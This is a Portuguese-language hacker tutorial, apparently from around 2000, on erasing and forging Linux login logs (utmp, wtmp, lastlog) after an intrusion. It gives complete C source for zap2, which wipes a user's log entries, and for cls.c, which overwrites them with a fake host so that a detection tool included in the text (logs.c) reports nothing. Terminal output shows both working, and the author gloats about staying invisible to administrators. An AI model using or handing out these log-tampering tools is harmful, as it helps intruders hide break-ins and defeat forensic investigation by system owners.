|
Porra....
tem muita gente que nao da atencao a issu e acaba c fudendo
porque os admins que pareciam burros, sao inteligentes o suficiente para
verificar os logs do seu sistema depois que foi hackeado.
Aqui a Cyber Nine trouxe umas técnicas tanto para hackers como
para admins
sobre como usar, apagar e sobrescrever logs.
Antes de mais nada faca um backup dos seguintes arquivos:
/var/run/utmp
/var/log/wtmp
/var/log/lastlog
1. Entendendo...
O linux usa basicamente 3 tipos de logs. Lastlog, UTMP, WTMP.
O Lastlog grava o tty, host e time do user assim que ele da exit.
O UTMP e WTMP gravam o login type, login pid, tty device, tty, user,
host, exit status, session ID, time e ip no login e na logout.
Existe tbm o syslogd que faz o log de mensagens do kernel incluindo
conexoes remotas. Voce pode verificar os arquivos em /etc/syslog.conf
mas
isto nao inclui no objetivo deste texto.
2. Lendo...
Os dois metodos mais conhecidos de ver os dados gravados no log sao
atravez dos comandos who (ou w) e lastlog.
O who pega os dados no UTMP enquanto o lastlog... adivinhe. =)
3. Apagando...
Na certa voce conhece um programinha chamado zap??? Ele serve para
apagar estes 3 logs (UTMP, WTMP e LastLog).
C voce ainda nao tem ele vou bota aki o src do zap2 (eu sei q ta
desatualizado mas eh soh para aprendizado).
<++>
logs/z2.c
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0)
{
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos
!= -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL)
{
if ((f=open(LASTLOG_NAME,
O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s:
?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
}else
printf("Error.\n");
}
<-->
Okay. Agora
vamos usa-lo pra ver como funfa.
# who
root tty1 Mar 12 09:01
struck tty2 Mar 12 09:04
# lastlog -u struck
Username Port From Latest
struck tty3 Sun Mar 12 09:07:25 2000
# ./z
Error.
# ./z struck
# who
root tty1 Mar 12 09:01
# lastlog -u struck
Username Port From Latest
struck **Never logged in**
#
Viu?? Ele
simplesmente apagou todos os dados relacionados ao username.
4. Descobrindo...
Achei este programa na rwx05. Ele olha os arquivos onde o log eh salvo
a procura de dados que foram apagados.
Ae vai o programa...
<++>
logs/logs.c
#include <stdio.h>
#include <utmp.h>
#include <lastlog.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <shadow.h>
#include <pwd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define UTMP
"/etc/utmp"
#define UTMP2 "/var/run/utmp"
#define WTMP "/etc/wtmp"
#define WTMP2 "/var/log/wtmp"
#define LASTLOG "/var/log/lastlog"
#define SIM 1
#define NAO 0
#define MAX 14
#define NL putchar('\n')
#define BEEP putchar(7)
typedef char
boolean;
struct user{
struct utmp u;
struct user *p;
}*s;
struct utmp
cmp;
struct lastlog cmp2;
void insere(struct
utmp *);
void print(struct user *);
void ajuda(const char *);
void print_wtmp(struct user *);
boolean procura(struct user *, const char *);
boolean bash_history(const char *);
void never_login(const char *, const char *);
int main(int
argc, char *argv[]){
struct utmp
actual;
struct lastlog actual2;
struct spwd *utilizador;
struct passwd *username;
boolean intrusao=NAO,
resto=SIM,
beep1=NAO;
int intrusoes=0,
i;
int fd;
time_t hora;
for(i=0; i<argc; i++)
if(argv[i][0]=='-')
switch(argv[i][1]){
case 'h':{
ajuda(argv[0]);
exit(0);
}
case 'b':{
beep1=SIM;
break;
}
case 'u':{
resto=NAO;
break;
}
default:{
puts("Opcao desconhecida");
exit(1);
}
}
s=NULL;
memset(&cmp, 0, sizeof(struct utmp));
memset(&cmp2, 0, sizeof(struct lastlog));
if((fd=open(UTMP,
O_RDONLY))<0){
if((fd=open(UTMP2, O_RDWR))<0){
perror("utmp");
exit(1);
}
}
time(&hora);
printf("%s\n", ctime(&hora));
printf("Analizando entradas do 'utmp'...\n");
while(read(fd, &actual, sizeof(actual))>0){
if(!memcmp(&actual, &cmp, sizeof(struct utmp)))
intrusao=SIM;
insere(&actual);
}
if(intrusao){
NL;
if(beep1)
BEEP;
printf("**********\n");
printf("* AVISO: * As entradas do 'utmp', foram manipuladas!!!!!\n");
printf("**********\n");
printf("Users correctamente logged on:\n");
printf("User\t\tLogged on em\tdev\n");
print(s);
printf("Faca 'ps -aux' para procurar processos de users ilegais!\n");
}
else
puts("OK!");
if(!resto)
exit(0);
printf("----------------------------------\n");
if((fd=open(WTMP,
O_RDONLY))<0)
if((fd=open(WTMP2, O_RDONLY))<0){
perror("wtmp");
exit(1);
}
NL;
printf("Analizando
entradas do 'wtmp'...\n");
s=NULL;
while(read(fd, &actual, sizeof(struct utmp))>0){
if(!memcmp(&actual, &cmp, sizeof(struct utmp)))
intrusoes++;
insere(&actual);
}
if(intrusoes!=NAO){
printf("Foram 'apagadas' um total de %d entradas!\n\n", intrusoes);
print_wtmp(s);
}
else
puts("OK!");
printf("----------------------------------\n");
if(getuid()!=0)
if(fopen("/etc/shadow", "r")==NULL){
printf("Precisa ser root para continuar!!\n");
exit(1);
}
if((fd=open(LASTLOG,
O_RDWR))>=0){
printf("Analizando entradas do 'lastlog'...\n");
intrusoes=0;
puts("Utilizadores com entradas 'apagadas':");
while((utilizador=getspent())!=NULL){
if(utilizador->sp_pwdp[0]!='*'){
username=getpwnam(utilizador->sp_namp);
lseek(fd, username->pw_uid * sizeof(struct lastlog), SEEK_SET);
if(read(fd, &actual2, sizeof(struct lastlog))==-1){
perror(LASTLOG);
break;
}
if(!memcmp(&cmp2, &actual2, sizeof(struct lastlog))){
if(procura(s, utilizador->sp_namp)){
intrusoes++;
printf("-> %s\n", utilizador->sp_namp);
}
else
if(bash_history(username->pw_dir)){
intrusoes++;
printf("-> %s\n", utilizador->sp_namp);
}
else
never_login(utilizador->sp_namp, username->pw_dir);
}
}
}
}
else
{
printf("Nao foi possivel localizar o ficheiro 'lastlog'\n");
exit(1);
}
if(intrusoes!=NAO)
printf("\nForam apagadas pelo menos %d entradas\n", intrusoes);
else
puts("\nOK!");
}
void insere(struct
utmp *k){
struct user *novo;
if((novo=(struct
user *) malloc(sizeof(struct user)))==NULL){
puts("Erro a alocar memoria!");
exit(1);
}
memcpy(&novo->u,
k, sizeof(struct utmp));
novo->p=s;
s=novo;
}
void print(struct user *x){
if(x==NULL)
return;
if(!memcmp(&x->u,
&cmp, sizeof(struct utmp)))
printf("??????\t\t??????\t\t??????\n");
else
if(x->u.ut_type >=7 && x->u.ut_type <=8)
printf("%s\t\t%s\t\t%s\n", x->u.ut_user, x->u.ut_host,
x->u.ut_line);
print(x->p);
}
void print_wtmp(struct
user *x){
if(x==NULL)
return;
if(!memcmp(&x->u,
&cmp, sizeof(struct utmp))){
printf("entrada 'apagada' depois de:\n");
if(memcmp(&x->p->u, &cmp, sizeof(struct utmp))!=0){
printf("%s", ctime(&x->p->u.ut_time));
if(x->p->u.ut_type >=7 && x->p->u.ut_type <=8)
printf("(%s)\n", x->p->u.ut_name);
}
else
printf("????????????????????????\n");
NL;
}
print_wtmp(x->p);
}
void ajuda(const
char *s){
printf("======RwX Labs 1998=====\n");
printf("Uso: %s [-opcoes]\n", s);
printf(" -h imprime este help e sai\n");
printf(" -b beep ao encontrar anomalias\n");
printf(" -u apenas testa utmp\n");
}
boolean procura(struct
user *x, const char *s){
if(x==NULL)
return(NAO);
if(!strcmp(s,
x->u.ut_name))
return(SIM);
procura(x->p,
s);
}
boolean bash_history(const char *s){
static char *dir;
if((dir=(char
*) malloc(strlen(s)+14))==NULL){
puts("Erro a alocar memoria!!");
exit(1);
}
sprintf(dir,
"%s/.bash_history", s);
if(fopen(dir,
"r")==NULL)
return(NAO);
return(SIM);
}
void never_login(const
char *s, const char *dir){
printf("??
%s\n", s);
printf("nao possui nenhuma entrada em 'wtmp'\n");
printf("o arquivo '%s/.bash_history' nao existe\n", dir);
printf("provavelmente nunca usou o sistema!!\n");
}
<-->
Agora vamos
usar e ver como funciona...
# ./logs
Sun Mar 12 10:01:20 2000
Analizando
entradas do 'utmp'...
**********
* AVISO: * As entradas do 'utmp', foram manipuladas!!!!!
**********
Users correctamente logged on:
User Logged on em dev
?????? ?????? ??????
root tty1
Faca 'ps -aux' para procurar processos de users ilegais!
----------------------------------
Analizando
entradas do 'wtmp'...
Foram 'apagadas' um total de 1 entradas!
entrada 'apagada'
depois de:
Sun Mar 12 10:00:15 2000
(root)
----------------------------------
Analizando entradas do 'lastlog'...
Utilizadores com entradas 'apagadas':
OK!
#
Prontinhu...
Assim voce percebe que alguem andou mechendo em seus logs.
Voce eh um bom admin.
Vamos testar outra coisa agora...
Recupere os seus arquivos UTMP, WTMP e LastLog originais (voce fez
backup neh???) para passarmos para o proximo topic.
Se voce nao fez backup faca o seguinte: Tire todos os outros usuarios
conectados no momento e deixe apenas o root. Agora apague os files
listados la em cima e depois crie-os com touch. Logue novamente com o
usuario q voce estava usando (no nosso caso struck).
5. Sobrescrevendo...
Agora virar o jogo pro nosso lado novamente...
Baseado no zap eu fiz este programinha que ao invez de somente apagar
os dados ele cria novos e escreve em cima dos antigos.
<++>
logs/cls.c
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME
"/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
int f;
void kill_utmp(char
*who, char *myhost)
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0)
{
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
utmp_ent.ut_type=USER_PROCESS;
utmp_ent.ut_pid=getpid();
strcpy(utmp_ent.ut_line,ttyname(0)+strlen("/dev/"));
strcpy(utmp_ent.ut_id,ttyname(0)+strlen("/dev/tty"));
time(&utmp_ent.ut_time);
strcpy(utmp_ent.ut_user,who);
strcpy(utmp_ent.ut_host,myhost);
utmp_ent.ut_addr=0;
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(char
*who, char *myhost)
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos
!= -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_user,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
utmp_ent.ut_type=USER_PROCESS;
utmp_ent.ut_pid=getpid();
strcpy(utmp_ent.ut_line,ttyname(0)+strlen("/dev/"));
strcpy(utmp_ent.ut_id,ttyname(0)+strlen("/dev/tty"));
time(&utmp_ent.ut_time);
strcpy(utmp_ent.ut_user,who);
strcpy(utmp_ent.ut_host,myhost);
utmp_ent.ut_addr=0;
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(char
*who, char *myhost)
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL)
{
if ((f=open(LASTLOG_NAME,
O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
time(&newll.ll_time);
strcpy(newll.ll_line,ttyname(0)+strlen("/dev/"));
strcpy(newll.ll_host,myhost);
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else {
printf("%s ?\n",who);
exit(1);
}
}
main(int argc,char
*argv[])
{
if (argc==3) {
kill_lastlog(argv[1],argv[2]);
kill_wtmp(argv[1], argv[2]);
kill_utmp(argv[1],argv[2]);
}else
printf("Use:\n %s <name> <fake_host>\n",argv[0]);
}
<-->
Atencao!!!
Teste com os logs recuperados pois ele nao vai encontrar os
que ja foram apagados.
Depois de recuperar os logs... Vamu testa-lo:
# ./a.out
struck 222.222.222.222
# who
root tty1 Mar 12 09:01
struck ttyp0 Mar 12 10:23 (222.222.222.222)
# lastlog -u struck
Username Port From Latest
struck ttyp0 222.222.222.222 Sun Mar 12 10:23:02 2000
#
Viu que maneiro???
Com este programa voce pode inventar um host, que sera gravado em cima
do original e assim nao vai sumir do who e lastlog.
Vamos ver se o logs.c detecta as entradas manipuladas...
# ./logs
Sun Mar 12 10:23:15 2000
Analizando
entradas do 'utmp'...
OK!
----------------------------------
Analizando
entradas do 'wtmp'...
OK!
----------------------------------
Analizando entradas do 'lastlog'...
Utilizadores com entradas 'apagadas':
OK!
#
Invisivel
heim??
Que ira perceber que voce trocou o seus dados??
Uma coisa maneira de c fazer eh colocar um host como "nasa.org"
para
que o admin fear u.
E eh issu ae. Achu que ensinamos até de mais.
|